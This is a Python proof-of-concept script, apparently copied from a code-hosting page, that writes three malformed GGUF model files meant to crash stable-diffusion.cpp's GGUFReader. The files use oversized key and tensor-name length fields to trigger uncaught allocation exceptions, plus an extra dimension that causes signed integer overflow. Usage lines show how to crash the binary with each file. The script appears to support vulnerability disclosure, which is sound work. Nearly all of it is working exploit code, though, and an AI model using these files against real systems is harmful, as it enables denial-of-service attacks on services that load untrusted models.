File size: 2,522 Bytes
d162ed2
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
"""
PoC: stable-diffusion.cpp GGUFReader — Unbounded Allocation from Attacker-Controlled
Length Fields causes Unhandled C++ Exception and Process Crash (DoS)

File: src/gguf_reader.hpp (GGUFReader class)
Repository: https://github.com/leejet/stable-diffusion.cpp
Commit: d6dd6d7b555c233bb9bc9f20b4751eb8c9269743

Usage:
    python3 poc_sd_cpp_gguf_reader.py
    ./sd --model poc_metadata_oob.gguf    # crashes with std::terminate()
    ./sd --model poc_tensor_oob.gguf      # crashes with std::terminate()
    ./sd --model poc_shape_overflow.gguf  # signed int overflow -> UB
"""
import struct

def u32le(v): return struct.pack('<I', v)
def u64le(v): return struct.pack('<Q', v)

def build_poc_metadata():
    """Bug 1: key_len -> std::string(key_len, '\0') at line 62 — uncaught std::length_error"""
    data  = b"GGUF"
    data += u32le(999)        # version=999 triggers GGUFReader fallback
    data += u64le(0)          # tensor_count = 0
    data += u64le(1)          # metadata_kv_count = 1
    data += u64le(0x4141414141414141)  # key_len = ~4.7 exabytes
    return data

def build_poc_tensor():
    """Bug 2: name_len -> info.name.resize(name_len) at line 140 — std::bad_alloc uncaught by catch(runtime_error)"""
    data  = b"GGUF"
    data += u32le(999)
    data += u64le(1)          # tensor_count = 1
    data += u64le(0)          # metadata_kv_count = 0
    data += u64le(0x4242424242424242)  # name_len = ~4.7 exabytes
    return data

def build_poc_shape_overflow():
    """Bug 3: shape[3] *= shape[4] at line 155 — signed int64 overflow (UB)"""
    data  = b"GGUF"
    data += u32le(999)
    data += u64le(1)          # tensor_count = 1
    data += u64le(0)          # metadata_kv_count = 0
    name = b"evil"
    data += u64le(len(name))
    data += name
    data += u32le(5)          # n_dims = 5 > GGML_MAX_DIMS=4
    for s in [1, 1, 1, 0x4000000000000000, 4]:
        data += struct.pack('<q', s)
    data += u32le(0)          # type = F32
    data += u64le(0)          # offset = 0
    return data

if __name__ == '__main__':
    for fname, builder, desc in [
        ("poc_metadata_oob.gguf", build_poc_metadata, "key_len crash (32 bytes)"),
        ("poc_tensor_oob.gguf", build_poc_tensor, "name_len crash (32 bytes)"),
        ("poc_shape_overflow.gguf", build_poc_shape_overflow, "shape overflow (92 bytes)"),
    ]:
        data = builder()
        with open(fname, 'wb') as f:
            f.write(data)
        print(f"[+] {fname} ({len(data)} bytes) — {desc}")